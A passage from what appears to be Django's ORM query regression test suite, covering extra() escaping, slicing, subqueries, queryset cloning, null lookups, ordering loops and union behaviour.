    def test_extra_select_literal_percent_s(self):
        # Allow %%s to escape select clauses
        self.assertEqual(
            Note.objects.extra(select={'foo': "'%%s'"})[0].foo,
            '%s'
        )
        self.assertEqual(
            Note.objects.extra(select={'foo': "'%%s bar %%s'"})[0].foo,
            '%s bar %s'
        )
        self.assertEqual(
            Note.objects.extra(select={'foo': "'bar %%s'"})[0].foo,
            'bar %s'
        )


class SelectRelatedTests(TestCase):
    def test_tickets_3045_3288(self):
        # Once upon a time, select_related() with circular relations would loop
        # infinitely if you forgot to specify "depth". Now we set an arbitrary
        # default upper bound.
        self.assertQuerysetEqual(X.objects.all(), [])
        self.assertQuerysetEqual(X.objects.select_related(), [])


class SubclassFKTests(TestCase):
    def test_ticket7778(self):
        # Model subclasses could not be deleted if a nullable foreign key
        # relates to a model that relates back.

        num_celebs = Celebrity.objects.count()
        tvc = TvChef.objects.create(name="Huey")
        self.assertEqual(Celebrity.objects.count(), num_celebs + 1)
        Fan.objects.create(fan_of=tvc)
        Fan.objects.create(fan_of=tvc)
        tvc.delete()

        # The parent object should have been deleted as well.
        self.assertEqual(Celebrity.objects.count(), num_celebs)


class CustomPkTests(TestCase):
    def test_ticket7371(self):
        self.assertQuerysetEqual(Related.objects.order_by('custom'), [])


class NullableRelOrderingTests(TestCase):
    def test_ticket10028(self):
        # Ordering by model related to nullable relations(!) should use outer
        # joins, so that all results are included.
        Plaything.objects.create(name="p1")
        self.assertQuerysetEqual(
            Plaything.objects.all(),
            ['<Plaything: p1>']
        )

    def test_join_already_in_query(self):
        # Ordering by model related to nullable relations should not change
        # the join type of already existing joins.
        Plaything.objects.create(name="p1")
        s = SingleObject.objects.create(name='s')
        r = RelatedObject.objects.create(single=s, f=1)
        Plaything.objects.create(name="p2", others=r)
        qs = Plaything.objects.all().filter(others__isnull=False).order_by('pk')
        self.assertNotIn('JOIN', str(qs.query))
        qs = Plaything.objects.all().filter(others__f__isnull=False).order_by('pk')
        self.assertIn('INNER', str(qs.query))
        qs = qs.order_by('others__single__name')
        # The ordering by others__single__pk will add one new join (to single)
        # and that join must be LEFT join. The already existing join to related
        # objects must be kept INNER. So, we have both an INNER and a LEFT join
        # in the query.
        self.assertEqual(str(qs.query).count('LEFT'), 1)
        self.assertEqual(str(qs.query).count('INNER'), 1)
        self.assertQuerysetEqual(
            qs,
            ['<Plaything: p2>']
        )


class DisjunctiveFilterTests(TestCase):
    @classmethod
    def setUpTestData(cls):
        cls.n1 = Note.objects.create(note='n1', misc='foo', id=1)
        ExtraInfo.objects.create(info='e1', note=cls.n1)

    def test_ticket7872(self):
        # Another variation on the disjunctive filtering theme.

        # For the purposes of this regression test, it's important that there is no
        # Join object related to the LeafA we create.
        LeafA.objects.create(data='first')
        self.assertQuerysetEqual(LeafA.objects.all(), ['<LeafA: first>'])
        self.assertQuerysetEqual(
            LeafA.objects.filter(Q(data='first') | Q(join__b__data='second')),
            ['<LeafA: first>']
        )

    def test_ticket8283(self):
        # Checking that applying filters after a disjunction works correctly.
        self.assertQuerysetEqual(
            (ExtraInfo.objects.filter(note=self.n1) | ExtraInfo.objects.filter(info='e2')).filter(note=self.n1),
            ['<ExtraInfo: e1>']
        )
        self.assertQuerysetEqual(
            (ExtraInfo.objects.filter(info='e2') | ExtraInfo.objects.filter(note=self.n1)).filter(note=self.n1),
            ['<ExtraInfo: e1>']
        )


class Queries6Tests(TestCase):
    @classmethod
    def setUpTestData(cls):
        generic = NamedCategory.objects.create(name="Generic")
        t1 = Tag.objects.create(name='t1', category=generic)
        Tag.objects.create(name='t2', parent=t1, category=generic)
        t3 = Tag.objects.create(name='t3', parent=t1)
        t4 = Tag.objects.create(name='t4', parent=t3)
        Tag.objects.create(name='t5', parent=t3)
        n1 = Note.objects.create(note='n1', misc='foo', id=1)
        ann1 = Annotation.objects.create(name='a1', tag=t1)
        ann1.notes.add(n1)
        Annotation.objects.create(name='a2', tag=t4)

    def test_parallel_iterators(self):
        # Test that parallel iterators work.
        qs = Tag.objects.all()
        i1, i2 = iter(qs), iter(qs)
        self.assertEqual(repr(next(i1)), '<Tag: t1>')
        self.assertEqual(repr(next(i1)), '<Tag: t2>')
        self.assertEqual(repr(next(i2)), '<Tag: t1>')
        self.assertEqual(repr(next(i2)), '<Tag: t2>')
        self.assertEqual(repr(next(i2)), '<Tag: t3>')
        self.assertEqual(repr(next(i1)), '<Tag: t3>')

        qs = X.objects.all()
        self.assertFalse(qs)
        self.assertFalse(qs)

    def test_nested_queries_sql(self):
        # Nested queries should not evaluate the inner query as part of constructing the
        # SQL (so we should see a nested query here, indicated by two "SELECT" calls).
        qs = Annotation.objects.filter(notes__in=Note.objects.filter(note="xyzzy"))
        self.assertEqual(
            qs.query.get_compiler(qs.db).as_sql()[0].count('SELECT'),
            2
        )

    def test_tickets_8921_9188(self):
        # Incorrect SQL was being generated for certain types of exclude()
        # queries that crossed multi-valued relations (#8921, #9188 and some
        # preemptively discovered cases).

        self.assertQuerysetEqual(
            PointerA.objects.filter(connection__pointerb__id=1),
            []
        )
        self.assertQuerysetEqual(
            PointerA.objects.exclude(connection__pointerb__id=1),
            []
        )

        self.assertQuerysetEqual(
            Tag.objects.exclude(children=None),
            ['<Tag: t1>', '<Tag: t3>']
        )

        # This example is tricky because the parent could be NULL, so only checking
        # parents with annotations omits some results (tag t1, in this case).
        self.assertQuerysetEqual(
            Tag.objects.exclude(parent__annotation__name="a1"),
            ['<Tag: t1>', '<Tag: t4>', '<Tag: t5>']
        )

        # The annotation->tag link is single values and tag->children links is
        # multi-valued. So we have to split the exclude filter in the middle
        # and then optimize the inner query without losing results.
        self.assertQuerysetEqual(
            Annotation.objects.exclude(tag__children__name="t2"),
            ['<Annotation: a2>']
        )

        # Nested queries are possible (although should be used with care, since
        # they have performance problems on backends like MySQL.
        self.assertQuerysetEqual(
            Annotation.objects.filter(notes__in=Note.objects.filter(note="n1")),
            ['<Annotation: a1>']
        )

    def test_ticket3739(self):
        # The all() method on querysets returns a copy of the queryset.
        q1 = Tag.objects.order_by('name')
        self.assertIsNot(q1, q1.all())

    def test_ticket_11320(self):
        qs = Tag.objects.exclude(category=None).exclude(category__name='foo')
        self.assertEqual(str(qs.query).count(' INNER JOIN '), 1)


class RawQueriesTests(TestCase):
    def setUp(self):
        Note.objects.create(note='n1', misc='foo', id=1)

    def test_ticket14729(self):
        # Test representation of raw query with one or few parameters passed as list
        query = "SELECT * FROM queries_note WHERE note = %s"
        params = ['n1']
        qs = Note.objects.raw(query, params=params)
        self.assertEqual(repr(qs), "<RawQuerySet: SELECT * FROM queries_note WHERE note = n1>")

        query = "SELECT * FROM queries_note WHERE note = %s and misc = %s"
        params = ['n1', 'foo']
        qs = Note.objects.raw(query, params=params)
        self.assertEqual(repr(qs), "<RawQuerySet: SELECT * FROM queries_note WHERE note = n1 and misc = foo>")


class GeneratorExpressionTests(TestCase):
    def test_ticket10432(self):
        # Using an empty generator expression as the rvalue for an "__in"
        # lookup is legal.
        self.assertQuerysetEqual(
            Note.objects.filter(pk__in=(x for x in ())),
            []
        )


class ComparisonTests(TestCase):
    def setUp(self):
        self.n1 = Note.objects.create(note='n1', misc='foo', id=1)
        e1 = ExtraInfo.objects.create(info='e1', note=self.n1)
        self.a2 = Author.objects.create(name='a2', num=2002, extra=e1)

    def test_ticket8597(self):
        # Regression tests for case-insensitive comparisons
        Item.objects.create(name="a_b", created=datetime.datetime.now(), creator=self.a2, note=self.n1)
        Item.objects.create(name="x%y", created=datetime.datetime.now(), creator=self.a2, note=self.n1)
        self.assertQuerysetEqual(
            Item.objects.filter(name__iexact="A_b"),
            ['<Item: a_b>']
        )
        self.assertQuerysetEqual(
            Item.objects.filter(name__iexact="x%Y"),
            ['<Item: x%y>']
        )
        self.assertQuerysetEqual(
            Item.objects.filter(name__istartswith="A_b"),
            ['<Item: a_b>']
        )
        self.assertQuerysetEqual(
            Item.objects.filter(name__iendswith="A_b"),
            ['<Item: a_b>']
        )


class ExistsSql(TestCase):
    def test_exists(self):
        with CaptureQueriesContext(connection) as captured_queries:
            self.assertFalse(Tag.objects.exists())
        # Ok - so the exist query worked - but did it include too many columns?
        self.assertEqual(len(captured_queries), 1)
        qstr = captured_queries[0]['sql']
        id, name = connection.ops.quote_name('id'), connection.ops.quote_name('name')
        self.assertNotIn(id, qstr)
        self.assertNotIn(name, qstr)

    def test_ticket_18414(self):
        Article.objects.create(name='one', created=datetime.datetime.now())
        Article.objects.create(name='one', created=datetime.datetime.now())
        Article.objects.create(name='two', created=datetime.datetime.now())
        self.assertTrue(Article.objects.exists())
        self.assertTrue(Article.objects.distinct().exists())
        self.assertTrue(Article.objects.distinct()[1:3].exists())
        self.assertFalse(Article.objects.distinct()[1:1].exists())

    @skipUnlessDBFeature('can_distinct_on_fields')
    def test_ticket_18414_distinct_on(self):
        Article.objects.create(name='one', created=datetime.datetime.now())
        Article.objects.create(name='one', created=datetime.datetime.now())
        Article.objects.create(name='two', created=datetime.datetime.now())
        self.assertTrue(Article.objects.distinct('name').exists())
        self.assertTrue(Article.objects.distinct('name')[1:2].exists())
        self.assertFalse(Article.objects.distinct('name')[2:3].exists())


class QuerysetOrderedTests(unittest.TestCase):
    """
    Tests for the Queryset.ordered attribute.
    """

    def test_no_default_or_explicit_ordering(self):
        self.assertIs(Annotation.objects.all().ordered, False)

    def test_cleared_default_ordering(self):
        self.assertIs(Tag.objects.all().ordered, True)
        self.assertIs(Tag.objects.all().order_by().ordered, False)

    def test_explicit_ordering(self):
        self.assertIs(Annotation.objects.all().order_by('id').ordered, True)

    def test_order_by_extra(self):
        self.assertIs(Annotation.objects.all().extra(order_by=['id']).ordered, True)

    def test_annotated_ordering(self):
        qs = Annotation.objects.annotate(num_notes=Count('notes'))
        self.assertIs(qs.ordered, False)
        self.assertIs(qs.order_by('num_notes').ordered, True)


@skipUnlessDBFeature('allow_sliced_subqueries')
class SubqueryTests(TestCase):
    @classmethod
    def setUpTestData(cls):
        DumbCategory.objects.create(id=1)
        DumbCategory.objects.create(id=2)
        DumbCategory.objects.create(id=3)
        DumbCategory.objects.create(id=4)

    def test_ordered_subselect(self):
        "Subselects honor any manual ordering"
        query = DumbCategory.objects.filter(id__in=DumbCategory.objects.order_by('-id')[0:2])
        self.assertEqual(set(query.values_list('id', flat=True)), {3, 4})

        query = DumbCategory.objects.filter(id__in=DumbCategory.objects.order_by('-id')[:2])
        self.assertEqual(set(query.values_list('id', flat=True)), {3, 4})

        query = DumbCategory.objects.filter(id__in=DumbCategory.objects.order_by('-id')[1:2])
        self.assertEqual(set(query.values_list('id', flat=True)), {3})

        query = DumbCategory.objects.filter(id__in=DumbCategory.objects.order_by('-id')[2:])
        self.assertEqual(set(query.values_list('id', flat=True)), {1, 2})

    def test_slice_subquery_and_query(self):
        """
        Slice a query that has a sliced subquery
        """
        query = DumbCategory.objects.filter(id__in=DumbCategory.objects.order_by('-id')[0:2])[0:2]
        self.assertEqual({x.id for x in query}, {3, 4})

        query = DumbCategory.objects.filter(id__in=DumbCategory.objects.order_by('-id')[1:3])[1:3]
        self.assertEqual({x.id for x in query}, {3})

        query = DumbCategory.objects.filter(id__in=DumbCategory.objects.order_by('-id')[2:])[1:]
        self.assertEqual({x.id for x in query}, {2})

    def test_related_sliced_subquery(self):
        """
        Related objects constraints can safely contain sliced subqueries.
        refs #22434
        """
        generic = NamedCategory.objects.create(id=5, name="Generic")
        t1 = Tag.objects.create(name='t1', category=generic)
        t2 = Tag.objects.create(name='t2', category=generic)
        ManagedModel.objects.create(data='mm1', tag=t1, public=True)
        mm2 = ManagedModel.objects.create(data='mm2', tag=t2, public=True)

        query = ManagedModel.normal_manager.filter(
            tag__in=Tag.objects.order_by('-id')[:1]
        )
        self.assertEqual({x.id for x in query}, {mm2.id})

    def test_sliced_delete(self):
        "Delete queries can safely contain sliced subqueries"
        DumbCategory.objects.filter(id__in=DumbCategory.objects.order_by('-id')[0:1]).delete()
        self.assertEqual(set(DumbCategory.objects.values_list('id', flat=True)), {1, 2, 3})

        DumbCategory.objects.filter(id__in=DumbCategory.objects.order_by('-id')[1:2]).delete()
        self.assertEqual(set(DumbCategory.objects.values_list('id', flat=True)), {1, 3})

        DumbCategory.objects.filter(id__in=DumbCategory.objects.order_by('-id')[1:]).delete()
        self.assertEqual(set(DumbCategory.objects.values_list('id', flat=True)), {3})


class CloneTests(TestCase):

    def test_evaluated_queryset_as_argument(self):
        "#13227 -- If a queryset is already evaluated, it can still be used as a query arg"
        n = Note(note='Test1', misc='misc')
        n.save()
        e = ExtraInfo(info='good', note=n)
        e.save()

        n_list = Note.objects.all()
        # Evaluate the Note queryset, populating the query cache
        list(n_list)
        # Use the note queryset in a query, and evaluate
        # that query in a way that involves cloning.
        self.assertEqual(ExtraInfo.objects.filter(note__in=n_list)[0].info, 'good')

    def test_no_model_options_cloning(self):
        """
        Test that cloning a queryset does not get out of hand. While complete
        testing is impossible, this is a sanity check against invalid use of
        deepcopy. refs #16759.
        """
        opts_class = type(Note._meta)
        note_deepcopy = getattr(opts_class, "__deepcopy__", None)
        opts_class.__deepcopy__ = lambda obj, memo: self.fail("Model options shouldn't be cloned.")
        try:
            Note.objects.filter(pk__lte=F('pk') + 1).all()
        finally:
            if note_deepcopy is None:
                delattr(opts_class, "__deepcopy__")
            else:
                opts_class.__deepcopy__ = note_deepcopy

    def test_no_fields_cloning(self):
        """
        Test that cloning a queryset does not get out of hand. While complete
        testing is impossible, this is a sanity check against invalid use of
        deepcopy. refs #16759.
        """
        opts_class = type(Note._meta.get_field("misc"))
        note_deepcopy = getattr(opts_class, "__deepcopy__", None)
        opts_class.__deepcopy__ = lambda obj, memo: self.fail("Model fields shouldn't be cloned")
        try:
            Note.objects.filter(note=F('misc')).all()
        finally:
            if note_deepcopy is None:
                delattr(opts_class, "__deepcopy__")
            else:
                opts_class.__deepcopy__ = note_deepcopy


class EmptyQuerySetTests(TestCase):
    def test_emptyqueryset_values(self):
        # #14366 -- Calling .values() on an empty QuerySet and then cloning
        # that should not cause an error
        self.assertQuerysetEqual(
            Number.objects.none().values('num').order_by('num'), []
        )

    def test_values_subquery(self):
        self.assertQuerysetEqual(
            Number.objects.filter(pk__in=Number.objects.none().values("pk")),
            []
        )
        self.assertQuerysetEqual(
            Number.objects.filter(pk__in=Number.objects.none().values_list("pk")),
            []
        )

    def test_ticket_19151(self):
        # #19151 -- Calling .values() or .values_list() on an empty QuerySet
        # should return an empty QuerySet and not cause an error.
        q = Author.objects.none()
        self.assertQuerysetEqual(q.values(), [])
        self.assertQuerysetEqual(q.values_list(), [])


class ValuesQuerysetTests(BaseQuerysetTest):
    @classmethod
    def setUpTestData(cls):
        Number.objects.create(num=72)
        cls.identity = staticmethod(lambda x: x)

    def test_flat_values_list(self):
        qs = Number.objects.values_list("num")
        qs = qs.values_list("num", flat=True)
        self.assertValueQuerysetEqual(qs, [72])

    def test_extra_values(self):
        # testing for ticket 14930 issues
        qs = Number.objects.extra(select=OrderedDict([('value_plus_x', 'num+%s'),
                                                     ('value_minus_x', 'num-%s')]),
                                  select_params=(1, 2))
        qs = qs.order_by('value_minus_x')
        qs = qs.values('num')
        self.assertQuerysetEqual(qs, [{'num': 72}], self.identity)

    def test_extra_values_order_twice(self):
        # testing for ticket 14930 issues
        qs = Number.objects.extra(select={'value_plus_one': 'num+1', 'value_minus_one': 'num-1'})
        qs = qs.order_by('value_minus_one').order_by('value_plus_one')
        qs = qs.values('num')
        self.assertQuerysetEqual(qs, [{'num': 72}], self.identity)

    def test_extra_values_order_multiple(self):
        # Postgres doesn't allow constants in order by, so check for that.
        qs = Number.objects.extra(select={
            'value_plus_one': 'num+1',
            'value_minus_one': 'num-1',
            'constant_value': '1'
        })
        qs = qs.order_by('value_plus_one', 'value_minus_one', 'constant_value')
        qs = qs.values('num')
        self.assertQuerysetEqual(qs, [{'num': 72}], self.identity)

    def test_extra_values_order_in_extra(self):
        # testing for ticket 14930 issues
        qs = Number.objects.extra(
            select={'value_plus_one': 'num+1', 'value_minus_one': 'num-1'},
            order_by=['value_minus_one'])
        qs = qs.values('num')

    def test_extra_select_params_values_order_in_extra(self):
        # testing for 23259 issue
        qs = Number.objects.extra(
            select={'value_plus_x': 'num+%s'},
            select_params=[1],
            order_by=['value_plus_x'])
        qs = qs.filter(num=72)
        qs = qs.values('num')
        self.assertQuerysetEqual(qs, [{'num': 72}], self.identity)

    def test_extra_multiple_select_params_values_order_by(self):
        # testing for 23259 issue
        qs = Number.objects.extra(select=OrderedDict([('value_plus_x', 'num+%s'),
                                                     ('value_minus_x', 'num-%s')]),
                                  select_params=(72, 72))
        qs = qs.order_by('value_minus_x')
        qs = qs.filter(num=1)
        qs = qs.values('num')
        self.assertQuerysetEqual(qs, [], self.identity)

    def test_extra_values_list(self):
        # testing for ticket 14930 issues
        qs = Number.objects.extra(select={'value_plus_one': 'num+1'})
        qs = qs.order_by('value_plus_one')
        qs = qs.values_list('num')
        self.assertQuerysetEqual(qs, [(72,)], self.identity)

    def test_flat_extra_values_list(self):
        # testing for ticket 14930 issues
        qs = Number.objects.extra(select={'value_plus_one': 'num+1'})
        qs = qs.order_by('value_plus_one')
        qs = qs.values_list('num', flat=True)
        self.assertQuerysetEqual(qs, [72], self.identity)

    def test_field_error_values_list(self):
        # see #23443
        msg = "Cannot resolve keyword %r into field. Join on 'name' not permitted." % 'foo'
        with self.assertRaisesMessage(FieldError, msg):
            Tag.objects.values_list('name__foo')


class QuerySetSupportsPythonIdioms(TestCase):

    @classmethod
    def setUpTestData(cls):
        some_date = datetime.datetime(2014, 5, 16, 12, 1)
        for i in range(1, 8):
            Article.objects.create(
                name="Article {}".format(i), created=some_date)

    def get_ordered_articles(self):
        return Article.objects.all().order_by('name')

    def test_can_get_items_using_index_and_slice_notation(self):
        self.assertEqual(self.get_ordered_articles()[0].name, 'Article 1')
        self.assertQuerysetEqual(
            self.get_ordered_articles()[1:3],
            ["<Article: Article 2>", "<Article: Article 3>"]
        )

    def test_slicing_with_steps_can_be_used(self):
        self.assertQuerysetEqual(
            self.get_ordered_articles()[::2], [
                "<Article: Article 1>",
                "<Article: Article 3>",
                "<Article: Article 5>",
                "<Article: Article 7>"
            ]
        )

    @unittest.skipUnless(six.PY2, "Python 2 only -- Python 3 doesn't have longs.")
    def test_slicing_works_with_longs(self):
        # NOQA: long undefined on PY3
        self.assertEqual(self.get_ordered_articles()[long(0)].name, 'Article 1')  # NOQA
        self.assertQuerysetEqual(self.get_ordered_articles()[long(1):long(3)],  # NOQA
            ["<Article: Article 2>", "<Article: Article 3>"])
        self.assertQuerysetEqual(
            self.get_ordered_articles()[::long(2)], [  # NOQA
                "<Article: Article 1>",
                "<Article: Article 3>",
                "<Article: Article 5>",
                "<Article: Article 7>"
            ]
        )

        # And can be mixed with ints.
        self.assertQuerysetEqual(self.get_ordered_articles()[1:long(3)],  # NOQA
            ["<Article: Article 2>", "<Article: Article 3>"])

    def test_slicing_without_step_is_lazy(self):
        with self.assertNumQueries(0):
            self.get_ordered_articles()[0:5]

    def test_slicing_with_tests_is_not_lazy(self):
        with self.assertNumQueries(1):
            self.get_ordered_articles()[0:5:3]

    def test_slicing_can_slice_again_after_slicing(self):
        self.assertQuerysetEqual(
            self.get_ordered_articles()[0:5][0:2],
            ["<Article: Article 1>", "<Article: Article 2>"]
        )
        self.assertQuerysetEqual(self.get_ordered_articles()[0:5][4:], ["<Article: Article 5>"])
        self.assertQuerysetEqual(self.get_ordered_articles()[0:5][5:], [])

        # Some more tests!
        self.assertQuerysetEqual(
            self.get_ordered_articles()[2:][0:2],
            ["<Article: Article 3>", "<Article: Article 4>"]
        )
        self.assertQuerysetEqual(
            self.get_ordered_articles()[2:][:2],
            ["<Article: Article 3>", "<Article: Article 4>"]
        )
        self.assertQuerysetEqual(self.get_ordered_articles()[2:][2:3], ["<Article: Article 5>"])

        # Using an offset without a limit is also possible.
        self.assertQuerysetEqual(
            self.get_ordered_articles()[5:],
            ["<Article: Article 6>", "<Article: Article 7>"]
        )

    def test_slicing_cannot_filter_queryset_once_sliced(self):
        with self.assertRaisesMessage(AssertionError, "Cannot filter a query once a slice has been taken."):
            Article.objects.all()[0:5].filter(id=1, )

    def test_slicing_cannot_reorder_queryset_once_sliced(self):
        with self.assertRaisesMessage(AssertionError, "Cannot reorder a query once a slice has been taken."):
            Article.objects.all()[0:5].order_by('id', )

    def test_slicing_cannot_combine_queries_once_sliced(self):
        with self.assertRaisesMessage(AssertionError, "Cannot combine queries once a slice has been taken."):
            Article.objects.all()[0:1] & Article.objects.all()[4:5]

    def test_slicing_negative_indexing_not_supported_for_single_element(self):
        """hint: inverting your ordering might do what you need"""
        with self.assertRaisesMessage(AssertionError, "Negative indexing is not supported."):
            Article.objects.all()[-1]

    def test_slicing_negative_indexing_not_supported_for_range(self):
        """hint: inverting your ordering might do what you need"""
        with self.assertRaisesMessage(AssertionError, "Negative indexing is not supported."):
            Article.objects.all()[0:-5]

    def test_can_get_number_of_items_in_queryset_using_standard_len(self):
        self.assertEqual(len(Article.objects.filter(name__exact='Article 1')), 1)

    def test_can_combine_queries_using_and_and_or_operators(self):
        s1 = Article.objects.filter(name__exact='Article 1')
        s2 = Article.objects.filter(name__exact='Article 2')
        self.assertQuerysetEqual(
            (s1 | s2).order_by('name'),
            ["<Article: Article 1>", "<Article: Article 2>"]
        )
        self.assertQuerysetEqual(s1 & s2, [])


class WeirdQuerysetSlicingTests(BaseQuerysetTest):
    @classmethod
    def setUpTestData(cls):
        Number.objects.create(num=1)
        Number.objects.create(num=2)

        Article.objects.create(name='one', created=datetime.datetime.now())
        Article.objects.create(name='two', created=datetime.datetime.now())
        Article.objects.create(name='three', created=datetime.datetime.now())
        Article.objects.create(name='four', created=datetime.datetime.now())

        food = Food.objects.create(name='spam')
        Eaten.objects.create(meal='spam with eggs', food=food)

    def test_tickets_7698_10202(self):
        # People like to slice with '0' as the high-water mark.
        self.assertQuerysetEqual(Article.objects.all()[0:0], [])
        self.assertQuerysetEqual(Article.objects.all()[0:0][:10], [])
        self.assertEqual(Article.objects.all()[:0].count(), 0)
        with self.assertRaisesMessage(AssertionError, 'Cannot change a query once a slice has been taken.'):
            Article.objects.all()[:0].latest('created')

    def test_empty_resultset_sql(self):
        # ticket #12192
        self.assertNumQueries(0, lambda: list(Number.objects.all()[1:1]))

    def test_empty_sliced_subquery(self):
        self.assertEqual(Eaten.objects.filter(food__in=Food.objects.all()[0:0]).count(), 0)

    def test_empty_sliced_subquery_exclude(self):
        self.assertEqual(Eaten.objects.exclude(food__in=Food.objects.all()[0:0]).count(), 1)

    def test_zero_length_values_slicing(self):
        n = 42
        with self.assertNumQueries(0):
            self.assertQuerysetEqual(Article.objects.values()[n:n], [])
            self.assertQuerysetEqual(Article.objects.values_list()[n:n], [])


class EscapingTests(TestCase):
    def test_ticket_7302(self):
        # Reserved names are appropriately escaped
        ReservedName.objects.create(name='a', order=42)
        ReservedName.objects.create(name='b', order=37)
        self.assertQuerysetEqual(
            ReservedName.objects.all().order_by('order'),
            ['<ReservedName: b>', '<ReservedName: a>']
        )
        self.assertQuerysetEqual(
            ReservedName.objects.extra(select={'stuff': 'name'}, order_by=('order', 'stuff')),
            ['<ReservedName: b>', '<ReservedName: a>']
        )


class ToFieldTests(TestCase):
    def test_in_query(self):
        apple = Food.objects.create(name="apple")
        pear = Food.objects.create(name="pear")
        lunch = Eaten.objects.create(food=apple, meal="lunch")
        dinner = Eaten.objects.create(food=pear, meal="dinner")

        self.assertEqual(
            set(Eaten.objects.filter(food__in=[apple, pear])),
            {lunch, dinner},
        )

    def test_in_subquery(self):
        apple = Food.objects.create(name="apple")
        lunch = Eaten.objects.create(food=apple, meal="lunch")
        self.assertEqual(
            set(Eaten.objects.filter(food__in=Food.objects.filter(name='apple'))),
            {lunch}
        )
        self.assertEqual(
            set(Eaten.objects.filter(food__in=Food.objects.filter(name='apple').values('eaten__meal'))),
            set()
        )
        self.assertEqual(
            set(Food.objects.filter(eaten__in=Eaten.objects.filter(meal='lunch'))),
            {apple}
        )

    def test_reverse_in(self):
        apple = Food.objects.create(name="apple")
        pear = Food.objects.create(name="pear")
        lunch_apple = Eaten.objects.create(food=apple, meal="lunch")
        lunch_pear = Eaten.objects.create(food=pear, meal="dinner")

        self.assertEqual(
            set(Food.objects.filter(eaten__in=[lunch_apple, lunch_pear])),
            {apple, pear}
        )

    def test_single_object(self):
        apple = Food.objects.create(name="apple")
        lunch = Eaten.objects.create(food=apple, meal="lunch")
        dinner = Eaten.objects.create(food=apple, meal="dinner")

        self.assertEqual(
            set(Eaten.objects.filter(food=apple)),
            {lunch, dinner}
        )

    def test_single_object_reverse(self):
        apple = Food.objects.create(name="apple")
        lunch = Eaten.objects.create(food=apple, meal="lunch")

        self.assertEqual(
            set(Food.objects.filter(eaten=lunch)),
            {apple}
        )

    def test_recursive_fk(self):
        node1 = Node.objects.create(num=42)
        node2 = Node.objects.create(num=1, parent=node1)

        self.assertEqual(
            list(Node.objects.filter(parent=node1)),
            [node2]
        )

    def test_recursive_fk_reverse(self):
        node1 = Node.objects.create(num=42)
        node2 = Node.objects.create(num=1, parent=node1)

        self.assertEqual(
            list(Node.objects.filter(node=node2)),
            [node1]
        )


class IsNullTests(TestCase):
    def test_primary_key(self):
        custom = CustomPk.objects.create(name='pk')
        null = Related.objects.create()
        notnull = Related.objects.create(custom=custom)
        self.assertSequenceEqual(Related.objects.filter(custom__isnull=False), [notnull])
        self.assertSequenceEqual(Related.objects.filter(custom__isnull=True), [null])

    def test_to_field(self):
        apple = Food.objects.create(name="apple")
        Eaten.objects.create(food=apple, meal="lunch")
        Eaten.objects.create(meal="lunch")
        self.assertQuerysetEqual(
            Eaten.objects.filter(food__isnull=False),
            ['<Eaten: apple at lunch>']
        )
        self.assertQuerysetEqual(
            Eaten.objects.filter(food__isnull=True),
            ['<Eaten: None at lunch>']
        )


class ConditionalTests(BaseQuerysetTest):
    """Tests whose execution depend on different environment conditions like
    Python version or DB backend features"""

    @classmethod
    def setUpTestData(cls):
        generic = NamedCategory.objects.create(name="Generic")
        t1 = Tag.objects.create(name='t1', category=generic)
        Tag.objects.create(name='t2', parent=t1, category=generic)
        t3 = Tag.objects.create(name='t3', parent=t1)
        Tag.objects.create(name='t4', parent=t3)
        Tag.objects.create(name='t5', parent=t3)

    def test_infinite_loop(self):
        # If you're not careful, it's possible to introduce infinite loops via
        # default ordering on foreign keys in a cycle. We detect that.
        with self.assertRaisesMessage(FieldError, 'Infinite loop caused by ordering.'):
            list(LoopX.objects.all())  # Force queryset evaluation with list()
        with self.assertRaisesMessage(FieldError, 'Infinite loop caused by ordering.'):
            list(LoopZ.objects.all())  # Force queryset evaluation with list()

        # Note that this doesn't cause an infinite loop, since the default
        # ordering on the Tag model is empty (and thus defaults to using "id"
        # for the related field).
        self.assertEqual(len(Tag.objects.order_by('parent')), 5)

        # ... but you can still order in a non-recursive fashion among linked
        # fields (the previous test failed because the default ordering was
        # recursive).
        self.assertQuerysetEqual(
            LoopX.objects.all().order_by('y__x__y__x__id'),
            []
        )

    # When grouping without specifying ordering, we add an explicit "ORDER BY NULL"
    # portion in MySQL to prevent unnecessary sorting.
    @skipUnlessDBFeature('requires_explicit_null_ordering_when_grouping')
    def test_null_ordering_added(self):
        query = Tag.objects.values_list('parent_id', flat=True).order_by().query
        query.group_by = ['parent_id']
        sql = query.get_compiler(DEFAULT_DB_ALIAS).as_sql()[0]
        fragment = "ORDER BY "
        pos = sql.find(fragment)
        self.assertEqual(sql.find(fragment, pos + 1), -1)
        self.assertEqual(sql.find("NULL", pos + len(fragment)), pos + len(fragment))

    # Sqlite 3 does not support passing in more than 1000 parameters except by
    # changing a parameter at compilation time.
    @skipUnlessDBFeature('supports_1000_query_parameters')
    def test_ticket14244(self):
        # Test that the "in" lookup works with lists of 1000 items or more.
        # The numbers amount is picked to force three different IN batches
        # for Oracle, yet to be less than 2100 parameter limit for MSSQL.
        numbers = list(range(2050))
        Number.objects.all().delete()
        Number.objects.bulk_create(Number(num=num) for num in numbers)
        self.assertEqual(
            Number.objects.filter(num__in=numbers[:1000]).count(),
            1000
        )
        self.assertEqual(
            Number.objects.filter(num__in=numbers[:1001]).count(),
            1001
        )
        self.assertEqual(
            Number.objects.filter(num__in=numbers[:2000]).count(),
            2000
        )
        self.assertEqual(
            Number.objects.filter(num__in=numbers).count(),
            len(numbers)
        )


class UnionTests(unittest.TestCase):
    """
    Tests for the union of two querysets. Bug #12252.
    """
    @classmethod
    def setUpTestData(cls):
        objectas = []
        objectbs = []
        objectcs = []
        a_info = ['one', 'two', 'three']
        for name in a_info:
            o = ObjectA(name=name)
            o.save()
            objectas.append(o)
        b_info = [('un', 1, objectas[0]), ('deux', 2, objectas[0]), ('trois', 3, objectas[2])]
        for name, number, objecta in b_info:
            o = ObjectB(name=name, num=number, objecta=objecta)
            o.save()
            objectbs.append(o)
        c_info = [('ein', objectas[2], objectbs[2]), ('zwei', objectas[1], objectbs[1])]
        for name, objecta, objectb in c_info:
            o = ObjectC(name=name, objecta=objecta, objectb=objectb)
            o.save()
            objectcs.append(o)

    def check_union(self, model, Q1, Q2):
        filter = model.objects.filter
        self.assertEqual(set(filter(Q1) | filter(Q2)), set(filter(Q1 | Q2)))
        self.assertEqual(set(filter(Q2) | filter(Q1)), set(filter(Q1 | Q2)))

    def test_A_AB(self):
        Q1 = Q(name='two')
        Q2 = Q(objectb__name='deux')
        self.check_union(ObjectA, Q1, Q2)

    def test_A_AB2(self):
        Q1 = Q(name='two')
        Q2 = Q(objectb__name='deux', objectb__num=2)
        self.check_union(ObjectA, Q1, Q2)

    def test_AB_ACB(self):
        Q1 = Q(objectb__name='deux')
